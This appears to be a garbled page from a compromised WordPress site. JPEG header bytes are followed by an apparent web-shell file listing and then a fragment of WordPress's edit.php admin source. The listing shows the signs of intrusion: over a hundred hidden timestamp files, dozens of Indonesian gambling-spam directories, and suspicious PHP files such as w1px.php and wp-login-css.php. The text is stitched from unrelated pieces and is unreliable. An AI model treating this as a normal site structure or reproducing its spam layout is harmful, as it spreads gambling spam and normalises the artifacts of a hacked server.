ÿØÿÛ C
| name file | size | edit | permission | action |
|---|---|---|---|---|
| .1745560516 | 80 KB | April 25 2025 05:55:16 | 0644 | |
| .1745565040 | 80 KB | April 25 2025 07:10:40 | 0644 | |
| .1745568656 | 80 KB | April 25 2025 08:10:56 | 0644 | |
| .1745572277 | 80 KB | April 25 2025 09:11:17 | 0644 | |
| .1745575899 | 80 KB | April 25 2025 10:11:39 | 0644 | |
| .1745579514 | 80 KB | April 25 2025 11:11:54 | 0644 | |
| .1745583133 | 80 KB | April 25 2025 12:12:13 | 0644 | |
| .1745586759 | 80 KB | April 25 2025 13:12:39 | 0644 | |
| .1745590387 | 80 KB | April 25 2025 14:13:07 | 0644 | |
| .1745594004 | 80 KB | April 25 2025 15:13:24 | 0644 | |
| .1745595958 | 80 KB | April 25 2025 15:45:58 | 0644 | |
| .1745596080 | 80 KB | April 25 2025 15:48:00 | 0644 | |
| .1745596322 | 80 KB | April 25 2025 15:52:02 | 0644 | |
| .1745596415 | 80 KB | April 25 2025 15:53:35 | 0644 | |
| .1745597625 | 80 KB | April 25 2025 16:13:45 | 0644 | |
| .1745624775 | 80 KB | April 25 2025 23:46:15 | 0644 | |
| .1745626192 | 80 KB | April 26 2025 00:09:52 | 0644 | |
| .1745626576 | 80 KB | April 26 2025 00:16:16 | 0644 | |
| .1745630191 | 80 KB | April 26 2025 01:16:31 | 0644 | |
| .1745633808 | 80 KB | April 26 2025 02:16:48 | 0644 | |
| .1745637431 | 80 KB | April 26 2025 03:17:11 | 0644 | |
| .1745639200 | 80 KB | April 26 2025 03:46:40 | 0644 | |
| .1745639764 | 80 KB | April 26 2025 03:56:04 | 0644 | |
| .1745640126 | 80 KB | April 26 2025 04:02:06 | 0644 | |
| .1745641940 | 80 KB | April 26 2025 04:32:20 | 0644 | |
| .1745646463 | 80 KB | April 26 2025 05:47:43 | 0644 | |
| .1745650080 | 80 KB | April 26 2025 06:48:00 | 0644 | |
| .1745653695 | 80 KB | April 26 2025 07:48:15 | 0644 | |
| .1745657308 | 80 KB | April 26 2025 08:48:28 | 0644 | |
| .1745660924 | 80 KB | April 26 2025 09:48:44 | 0644 | |
| .1745664550 | 80 KB | April 26 2025 10:49:10 | 0644 | |
| .1745668165 | 80 KB | April 26 2025 11:49:25 | 0644 | |
| .1745671661 | 80 KB | April 26 2025 12:47:41 | 0644 | |
| .1745671780 | 80 KB | April 26 2025 12:49:40 | 0644 | |
| .1745673851 | 80 KB | April 26 2025 13:24:11 | 0644 | |
| .1745674527 | 80 KB | April 26 2025 13:35:27 | 0644 | |
| .1745675395 | 80 KB | April 26 2025 13:49:55 | 0644 | |
| .1745679014 | 80 KB | April 26 2025 14:50:14 | 0644 | |
| .1745682470 | 80 KB | April 26 2025 15:47:50 | 0644 | |
| .1745683532 | 80 KB | April 26 2025 16:05:32 | 0644 | |
| .1745688046 | 80 KB | April 26 2025 17:20:46 | 0644 | |
| .1745691667 | 80 KB | April 26 2025 18:21:07 | 0644 | |
| .1745696177 | 80 KB | April 26 2025 19:36:17 | 0644 | |
| .1745699110 | 80 KB | April 26 2025 20:25:10 | 0644 | |
| .1745699666 | 80 KB | April 26 2025 20:34:26 | 0644 | |
| .1745699791 | 80 KB | April 26 2025 20:36:31 | 0644 | |
| .1745703405 | 80 KB | April 26 2025 21:36:45 | 0644 | |
| .1745707022 | 80 KB | April 26 2025 22:37:02 | 0644 | |
| .1745711537 | 80 KB | April 26 2025 23:52:17 | 0644 | |
| .1745715157 | 80 KB | April 27 2025 00:52:37 | 0644 | |
| .1745718772 | 80 KB | April 27 2025 01:52:52 | 0644 | |
| .1745722404 | 80 KB | April 27 2025 02:53:24 | 0644 | |
| .1745725749 | 80 KB | April 27 2025 03:49:09 | 0644 | |
| .1745726926 | 80 KB | April 27 2025 04:08:46 | 0644 | |
| .1745730546 | 80 KB | April 27 2025 05:09:06 | 0644 | |
| .1745734162 | 80 KB | April 27 2025 06:09:22 | 0644 | |
| .1745738677 | 80 KB | April 27 2025 07:24:37 | 0644 | |
| .1745742290 | 80 KB | April 27 2025 08:24:50 | 0644 | |
| .1745746801 | 80 KB | April 27 2025 09:40:01 | 0644 | |
| .1745751312 | 80 KB | April 27 2025 10:55:12 | 0644 | |
| .1745754927 | 80 KB | April 27 2025 11:55:27 | 0644 | |
| .1745758547 | 80 KB | April 27 2025 12:55:47 | 0644 | |
| .1745762169 | 80 KB | April 27 2025 13:56:09 | 0644 | |
| .1745765786 | 80 KB | April 27 2025 14:56:26 | 0644 | |
| .1745769019 | 80 KB | April 27 2025 15:50:19 | 0644 | |
| .1745769400 | 80 KB | April 27 2025 15:56:40 | 0644 | |
| .1745773015 | 80 KB | April 27 2025 16:56:55 | 0644 | |
| .1745775178 | 80 KB | April 27 2025 17:32:58 | 0644 | |
| .1745775916 | 80 KB | April 27 2025 17:45:16 | 0644 | |
| .1745776504 | 80 KB | April 27 2025 17:55:04 | 0644 | |
| .1745776507 | 80 KB | April 27 2025 17:55:07 | 0644 | |
| .1745777527 | 80 KB | April 27 2025 18:12:07 | 0644 | |
| .1745782043 | 80 KB | April 27 2025 19:27:23 | 0644 | |
| .1745786548 | 80 KB | April 27 2025 20:42:28 | 0644 | |
| .1745791056 | 80 KB | April 27 2025 21:57:36 | 0644 | |
| .1745794675 | 80 KB | April 27 2025 22:57:55 | 0644 | |
| .1745798288 | 80 KB | April 27 2025 23:58:08 | 0644 | |
| .1745801911 | 80 KB | April 28 2025 00:58:31 | 0644 | |
| .1745805525 | 80 KB | April 28 2025 01:58:45 | 0644 | |
| .1745809142 | 80 KB | April 28 2025 02:59:02 | 0644 | |
| .1745812276 | 80 KB | April 28 2025 03:51:16 | 0644 | |
| .1745812756 | 80 KB | April 28 2025 03:59:16 | 0644 | |
| .1745816371 | 80 KB | April 28 2025 04:59:31 | 0644 | |
| .1745820883 | 80 KB | April 28 2025 06:14:43 | 0644 | |
| .1745824505 | 80 KB | April 28 2025 07:15:05 | 0644 | |
| .1745829025 | 80 KB | April 28 2025 08:30:25 | 0644 | |
| .1745832646 | 80 KB | April 28 2025 09:30:46 | 0644 | |
| .1745836274 | 80 KB | April 28 2025 10:31:14 | 0644 | |
| .1745839900 | 80 KB | April 28 2025 11:31:40 | 0644 | |
| .1745843526 | 80 KB | April 28 2025 12:32:06 | 0644 | |
| .1745847147 | 80 KB | April 28 2025 13:32:27 | 0644 | |
| .1745850770 | 80 KB | April 28 2025 14:32:50 | 0644 | |
| .1745854387 | 80 KB | April 28 2025 15:33:07 | 0644 | |
| .1745858007 | 80 KB | April 28 2025 16:33:27 | 0644 | |
| .1745861631 | 80 KB | April 28 2025 17:33:51 | 0644 | |
| .1745865253 | 80 KB | April 28 2025 18:34:13 | 0644 | |
| .1745868873 | 80 KB | April 28 2025 19:34:33 | 0644 | |
| .1745872488 | 80 KB | April 28 2025 20:34:48 | 0644 | |
| .1745875365 | 80 KB | April 28 2025 21:22:45 | 0644 | |
| .1745876104 | 80 KB | April 28 2025 21:35:04 | 0644 | |
| .1745876898 | 80 KB | April 28 2025 21:48:18 | 0644 | |
| .1745879727 | 80 KB | April 28 2025 22:35:27 | 0644 | |
| .1745883347 | 80 KB | April 28 2025 23:35:47 | 0644 | |
| .1745886978 | 80 KB | April 29 2025 00:36:18 | 0644 | |
| .1745890609 | 80 KB | April 29 2025 01:36:49 | 0644 | |
| .1745894226 | 80 KB | April 29 2025 02:37:06 | 0644 | |
| .1745898747 | 80 KB | April 29 2025 03:52:27 | 0644 | |
| .1745901445 | 80 KB | April 29 2025 04:37:25 | 0644 | |
| .1745902373 | 80 KB | April 29 2025 04:52:53 | 0644 | |
| .1745905999 | 80 KB | April 29 2025 05:53:19 | 0644 | |
| .1745909628 | 80 KB | April 29 2025 06:53:48 | 0644 | |
| .1745913253 | 80 KB | April 29 2025 07:54:13 | 0644 | |
| .1745917764 | 80 KB | April 29 2025 09:09:24 | 0644 | |
| .1745921386 | 80 KB | April 29 2025 10:09:46 | 0644 | |
| .1745925905 | 80 KB | April 29 2025 11:25:05 | 0644 | |
| .1745929519 | 80 KB | April 29 2025 12:25:19 | 0644 | |
| .1745931243 | 80 KB | April 29 2025 12:54:03 | 0644 | |
| .1745934028 | 80 KB | April 29 2025 13:40:28 | 0644 | |
| .1745937648 | 80 KB | April 29 2025 14:40:48 | 0644 | |
| .1745942159 | 80 KB | April 29 2025 15:55:59 | 0644 | |
| .1745945775 | 80 KB | April 29 2025 16:56:15 | 0644 | |
| .1745950287 | 80 KB | April 29 2025 18:11:27 | 0644 | |
| .1745952613 | 80 KB | April 29 2025 18:50:13 | 0644 | |
| .1745954804 | 80 KB | April 29 2025 19:26:44 | 0644 | |
| .1745959314 | 80 KB | April 29 2025 20:41:54 | 0644 | |
| .1745962932 | 80 KB | April 29 2025 21:42:12 | 0644 | |
| .1745966545 | 80 KB | April 29 2025 22:42:25 | 0644 | |
| .htaccess | 243 KB | April 11 2026 06:59:32 | 0644 | |
| .htacl | 92 KB | March 29 2026 20:14:08 | 0644 | |
| .lock | 756 KB | April 24 2025 17:50:49 | 0644 | |
| .multi | 0 KB | April 25 2025 15:47:56 | 0644 | |
| .tmb | - | April 08 2025 21:25:54 | 0777 | |
| Agen-Mix-Parlay | - | April 29 2025 13:00:48 | 0755 | |
| Agen-Sbobet | - | May 01 2025 15:08:14 | 0755 | |
| Agen-Slot-Gacor | - | April 25 2025 15:53:06 | 0755 | |
| Alternatif-Casino | - | April 18 2025 14:04:53 | 0755 | |
| Alternatif-Judi-Bola | - | May 09 2025 02:01:51 | 0755 | |
| Alternatif-Mix-Parlay | - | April 27 2025 03:58:11 | 0755 | |
| Alternatif-Sbobet | - | April 18 2025 14:04:53 | 0755 | |
| Alternatif-Slot | - | April 28 2025 03:57:42 | 0755 | |
| Casino | - | April 18 2025 14:04:53 | 0755 | |
| Daftar-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 | |
| Daftar-Sbobet | - | April 18 2025 14:04:53 | 0755 | |
| Judi-Bola | - | April 26 2025 03:54:12 | 0755 | |
| Judi-Casino | - | April 25 2025 03:57:40 | 0755 | |
| Link-Casino | - | April 18 2025 14:04:53 | 0755 | |
| Link-Judi-Resmi | - | April 18 2025 14:04:53 | 0755 | |
| Link-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 | |
| Link-Sbobet | - | April 18 2025 14:04:53 | 0755 | |
| Link-Sbobet88 | - | April 18 2025 14:04:53 | 0755 | |
| Link-Slot | - | April 26 2025 15:54:54 | 0755 | |
| Live-Casino | - | April 18 2025 14:04:53 | 0755 | |
| Mix-Parlay | - | April 26 2025 03:54:15 | 0755 | |
| Mix-Parlay-Online | - | May 08 2025 19:04:47 | 0755 | |
| Mix-Parlay-Resmi | - | May 09 2025 02:03:02 | 0755 | |
| Piala-Dunia-2026 | - | April 18 2025 14:04:53 | 0755 | |
| RTP-Slot | - | April 18 2025 14:04:53 | 0755 | |
| Sbobet | - | April 25 2025 15:53:09 | 0755 | |
| Sbobet-Online | - | April 18 2025 14:04:53 | 0755 | |
| Sbobet-Resmi | - | April 18 2025 14:04:53 | 0755 | |
| Sbobet88 | - | April 18 2025 14:04:53 | 0755 | |
| Situs-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 | |
| Situs-Sbobet | - | April 24 2025 07:51:25 | 0755 | |
| Situs-Sbobet88 | - | April 18 2025 14:04:53 | 0755 | |
| Situs-Slot | - | April 18 2025 14:04:53 | 0755 | |
| Slot-Gacor | - | April 18 2025 14:04:53 | 0755 | |
| Slot-Gacor-Online | - | April 18 2025 14:04:53 | 0755 | |
| Slot-Maxwin | - | April 18 2025 14:04:53 | 0755 | |
| Slot-Online | - | April 18 2025 14:04:53 | 0755 | |
| Slot-Resmi | - | April 18 2025 14:04:53 | 0755 | |
| Taruhan-Judi-Bola | - | April 18 2025 14:04:53 | 0755 | |
| Taruhan-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 | |
| Taruhan-Sbobet | - | April 18 2025 14:04:53 | 0755 | |
| core | 11759616 KB | April 29 2025 12:54:31 | 0600 | |
| license.txt | 19915 KB | December 31 2023 18:02:20 | 0644 | |
| readme.html | 7409 KB | June 18 2024 05:59:14 | 0644 | |
| robots.txt | 93 KB | April 17 2025 06:39:58 | 0644 | |
| sitemap.xml | 7885 KB | April 17 2025 06:39:58 | 0644 | |
| w1px.php | 26454 KB | March 16 2026 11:38:18 | 0644 | |
| wp-activate.php | 7387 KB | February 13 2024 08:19:10 | 0644 | |
| wp-admin | - | April 23 2025 17:29:53 | 0755 | |
| wp-blog-header.php | 351 KB | May 01 2025 14:59:24 | 0644 | |
| wp-comments-post.php | 2323 KB | June 14 2023 08:11:16 | 0644 | |
| wp-config-sample.php | 3336 KB | October 15 2024 09:24:18 | 0644 | |
| wp-config.php | 3177 KB | May 07 2025 13:18:17 | 0644 | |
| wp-content | - | April 14 2025 13:14:49 | 0755 | |
| wp-cron.php | 5617 KB | April 29 2025 12:54:28 | 0644 | |
| wp-includes | - | April 07 2026 03:57:15 | 0755 | |
| wp-links-opml.php | 2502 KB | November 26 2022 15:01:18 | 0644 | |
| wp-load.php | 14301 KB | May 08 2025 13:19:24 | 0644 | |
| wp-login-css.php | 265113 KB | April 23 2025 15:28:26 | 0644 | |
| wp-login.php | 51611 KB | September 30 2024 13:12:14 | 0644 | |
| wp-mail.php | 8543 KB | September 18 2024 16:37:16 | 0644 | |
| wp-settings.php | 29032 KB | May 07 2025 13:21:11 | 0644 | |
| wp-signup.php | 34385 KB | June 19 2023 12:27:28 | 0644 | |
| wp-trackback.php | 5102 KB | October 18 2024 09:56:18 | 0644 | |
| xmlrpc.php | 3246 KB | March 02 2024 07:49:06 | 0644 |
' . __( 'Sorry, you are not allowed to edit posts in this post type.' ) . '
', 403 ); } $wp_list_table = _get_list_table( 'WP_Posts_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); // Back-compat for viewing comments of an entry. foreach ( array( 'p', 'attachment_id', 'page_id' ) as $_redirect ) { if ( ! empty( $_REQUEST[ $_redirect ] ) ) { wp_redirect( admin_url( 'edit-comments.php?p=' . absint( $_REQUEST[ $_redirect ] ) ) ); exit; } } unset( $_redirect ); if ( 'post' !== $post_type ) { $parent_file = "edit.php?post_type=$post_type"; $submenu_file = "edit.php?post_type=$post_type"; $post_new_file = "post-new.php?post_type=$post_type"; } else { $parent_file = 'edit.php'; $submenu_file = 'edit.php'; $post_new_file = 'post-new.php'; } $doaction = $wp_list_table->current_action(); if ( $doaction ) { check_admin_referer( 'bulk-posts' ); $sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'locked', 'ids' ), wp_get_referer() ); if ( ! $sendback ) { $sendback = admin_url( $parent_file ); } $sendback = add_query_arg( 'paged', $pagenum, $sendback ); if ( str_contains( $sendback, 'post.php' ) ) { $sendback = admin_url( $post_new_file ); } $post_ids = array(); if ( 'delete_all' === $doaction ) { // Prepare for deletion of all posts with a specified post status (i.e. Empty Trash). $post_status = preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['post_status'] ); // Validate the post status exists. if ( get_post_status_object( $post_status ) ) { /** * @global wpdb $wpdb WordPress database abstraction object. */ global $wpdb; $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) ); } $doaction = 'delete'; } elseif ( isset( $_REQUEST['media'] ) ) { $post_ids = $_REQUEST['media']; } elseif ( isset( $_REQUEST['ids'] ) ) { $post_ids = explode( ',', $_REQUEST['ids'] ); } elseif ( ! empty( $_REQUEST['post'] ) ) { $post_ids = array_map( 'intval', $_REQUEST['post'] ); } if ( empty( $post_ids ) ) { wp_redirect( $sendback ); exit; } switch ( $doaction ) { case 'trash': $trashed = 0; $locked = 0; foreach ( (array) $post_ids as $post_id ) { if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) ); } if ( wp_check_post_lock( $post_id ) ) { ++$locked; continue; } if ( ! wp_trash_post( $post_id ) ) { wp_die( __( 'Error in moving the item to Trash.' ) ); } ++$trashed; } $sendback = add_query_arg( array( 'trashed' => $trashed, 'ids' => implode( ',', $post_ids ), 'locked' => $locked, ), $sendback ); break; case 'untrash': $untrashed = 0; if ( isset( $_GET['doaction'] ) && ( 'undo' === $_GET['doaction'] ) ) { add_filter( 'wp_untrash_post_status', 'wp_untrash_post_set_previous_status', 10, 3 ); } foreach ( (array) $post_ids as $post_id ) { if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) ); } if ( ! wp_untrash_post( $post_id ) ) { wp_die( __( 'Error in restoring the item from Trash.' ) ); } ++$untrashed; } $sendback = add_query_arg( 'untrashed', $untrashed, $sendback ); remove_filter( 'wp_untrash_post_status', 'wp_untrash_post_set_previous_status', 10 ); break; case 'delete': $deleted = 0; foreach ( (array) $post_ids as $post_id ) { $post_del = get_post( $post_id ); if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); } if ( 'attachment' === $post_del->post_type ) { if ( ! wp_delete_attachment( $post_id ) ) { wp_die( __( 'Error in deleting the attachment.' ) ); } } else { if ( ! wp_delete_post( $post_id ) ) { wp_die( __( 'Error in deleting the item.' ) ); } } ++$deleted; } $sendback = add_query_arg( 'deleted', $deleted, $sendback ); break; case 'edit': if ( isset( $_REQUEST['bulk_edit'] ) ) { $done = bulk_edit_posts( $_REQUEST ); if ( is_array( $done ) ) { $done['updated'] = count( $done['updated'] ); $done['skipped'] = count( $done['skipped'] ); $done['locked'] = count( $done['locked'] ); $sendback = add_query_arg( $done, $sendback ); } } break; default: $screen = get_current_screen()->id; /** * Fires when a custom bulk action should be handled. * * The redirect link should be modified with success or failure feedback * from the action to be used to display feedback to the user. * * The dynamic portion of the hook name, `$screen`, refers to the current screen ID. * * @since 4.7.0 * * @param string $sendback The redirect URL. * @param string $doaction The action being taken. * @param array $items The items to take the action on. Accepts an array of IDs of posts, * comments, terms, links, plugins, attachments, or users. */ $sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $doaction, $post_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores break; } $sendback = remove_query_arg( array( 'action', 'action2', 'tags_input', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view' ), $sendback ); wp_redirect( $sendback ); exit; } elseif ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); exit; } $wp_list_table->prepare_items(); wp_enqueue_script( 'inline-edit-post' ); wp_enqueue_script( 'heartbeat' ); if ( 'wp_block' === $post_type ) { wp_enqueue_script( 'wp-list-reusable-blocks' ); wp_enqueue_style( 'wp-list-reusable-blocks' ); } // Used in the HTML title tag. $title = $post_type_object->labels->name; if ( 'post' === $post_type ) { get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '' . __( 'This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow.' ) . '
', ) ); get_current_screen()->add_help_tab( array( 'id' => 'screen-content', 'title' => __( 'Screen Content' ), 'content' => '' . __( 'You can customize the display of this screen’s contents in a number of ways:' ) . '
' . '' . __( 'Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:' ) . '
' . '' . __( 'You can also edit or move multiple posts to the Trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk actions menu and click Apply.' ) . '
' . '' . sprintf( /* translators: %s: The dismiss dashicon used for buttons that dismiss or remove. */ __( 'When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the %sremove button next to its name in the Bulk Edit area that appears.' ), '' ) . '
', ) ); get_current_screen()->set_help_sidebar( '' . __( 'For more information:' ) . '
' . '' . __( 'Documentation on Managing Posts' ) . '
' . '' . __( 'Support forums' ) . '
' ); } elseif ( 'page' === $post_type ) { get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the “Parent” of the other, creating a group of pages.' ) . '
', ) ); get_current_screen()->add_help_tab( array( 'id' => 'managing-pages', 'title' => __( 'Managing Pages' ), 'content' => '' . __( 'Managing pages is very similar to managing posts, and the screens can be customized in the same way.' ) . '
' . '' . __( 'You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk actions menu to edit the metadata for multiple pages at once.' ) . '
', ) ); get_current_screen()->set_help_sidebar( '' . __( 'For more information:' ) . '
' . '' . __( 'Documentation on Managing Pages' ) . '
' . '' . __( 'Support forums' ) . '
' ); } get_current_screen()->set_screen_reader_content( array( 'heading_views' => $post_type_object->labels->filter_items_list, 'heading_pagination' => $post_type_object->labels->items_list_navigation, 'heading_list' => $post_type_object->labels->items_list, ) ); add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'edit_' . $post_type . '_per_page', ) ); $bulk_counts = array( 'updated' => isset( $_REQUEST['updated'] ) ? absint( $_REQUEST['updated'] ) : 0, 'locked' => isset( $_REQUEST['locked'] ) ? absint( $_REQUEST['locked'] ) : 0, 'deleted' => isset( $_REQUEST['deleted'] ) ? absint( $_REQUEST['deleted'] ) : 0, 'trashed' => isset( $_REQUEST['trashed'] ) ? absint( $_REQUEST['trashed'] ) : 0, 'untrashed' => isset( $_REQUEST['untrashed'] ) ? absint( $_REQUEST['untrashed'] ) : 0, ); $bulk_messages = array(); $bulk_messages['post'] = array( /* translators: %s: Number of posts. */ 'updated' => _n( '%s post updated.', '%s posts updated.', $bulk_counts['updated'] ), 'locked' => ( 1 === $bulk_counts['locked'] ) ? __( '1 post not updated, somebody is editing it.' ) : /* translators: %s: Number of posts. */ _n( '%s post not updated, somebody is editing it.', '%s posts not updated, somebody is editing them.', $bulk_counts['locked'] ), /* translators: %s: Number of posts. */ 'deleted' => _n( '%s post permanently deleted.', '%s posts permanently deleted.', $bulk_counts['deleted'] ), /* translators: %s: Number of posts. */ 'trashed' => _n( '%s post moved to the Trash.', '%s posts moved to the Trash.', $bulk_counts['trashed'] ), /* translators: %s: Number of posts. */ 'untrashed' => _n( '%s post restored from the Trash.', '%s posts restored from the Trash.', $bulk_counts['untrashed'] ), ); $bulk_messages['page'] = array( /* translators: %s: Number of pages. */ 'updated' => _n( '%s page updated.', '%s pages updated.', $bulk_counts['updated'] ), 'locked' => ( 1 === $bulk_counts['locked'] ) ? __( '1 page not updated, somebody is editing it.' ) : /* translators: %s: Number of pages. */ _n( '%s page not updated, somebody is editing it.', '%s pages not updated, somebody is editing them.', $bulk_counts['locked'] ), /* translators: %s: Number of pages. */ 'deleted' => _n( '%s page permanently deleted.', '%s pages permanently deleted.', $bulk_counts['deleted'] ), /* translators: %s: Number of pages. */ 'trashed' => _n( '%s page moved to the Trash.', '%s pages moved to the Trash.', $bulk_counts['trashed'] ), /* translators: %s: Number of pages. */ 'untrashed' => _n( '%s page restored from the Trash.', '%s pages restored from the Trash.', $bulk_counts['untrashed'] ), ); $bulk_messages['wp_block'] = array( /* translators: %s: Number of patterns. */ 'updated' => _n( '%s pattern updated.', '%s patterns updated.', $bulk_counts['updated'] ), 'locked' => ( 1 === $bulk_counts['locked'] ) ? __( '1 pattern not updated, somebody is editing it.' ) : /* translators: %s: Number of patterns. */ _n( '%s pattern not updated, somebody is editing it.', '%s patterns not updated, somebody is editing them.', $bulk_counts['locked'] ), /* translators: %s: Number of patterns. */ 'deleted' => _n( '%s pattern permanently deleted.', '%s patterns permanently deleted.', $bulk_counts['deleted'] ), /* translators: %s: Number of patterns. */ 'trashed' => _n( '%s pattern moved to the Trash.', '%s patterns moved to the Trash.', $bulk_counts['trashed'] ), /* translators: %s: Number of patterns. */ 'untrashed' => _n( '%s pattern restored from the Trash.', '%s patterns restored from the Trash.', $bulk_counts['untrashed'] ), ); /** * Filters the bulk action updated messages. * * By default, custom post types use the messages for the 'post' post type. * * @since 3.7.0 * * @param array[] $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are * keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'. * @param int[] $bulk_counts Array of item counts for each message, used to build internationalized strings. */ $bulk_messages = apply_filters( 'bulk_post_updated_messages', $bulk_messages, $bulk_counts ); $bulk_counts = array_filter( $bulk_counts ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>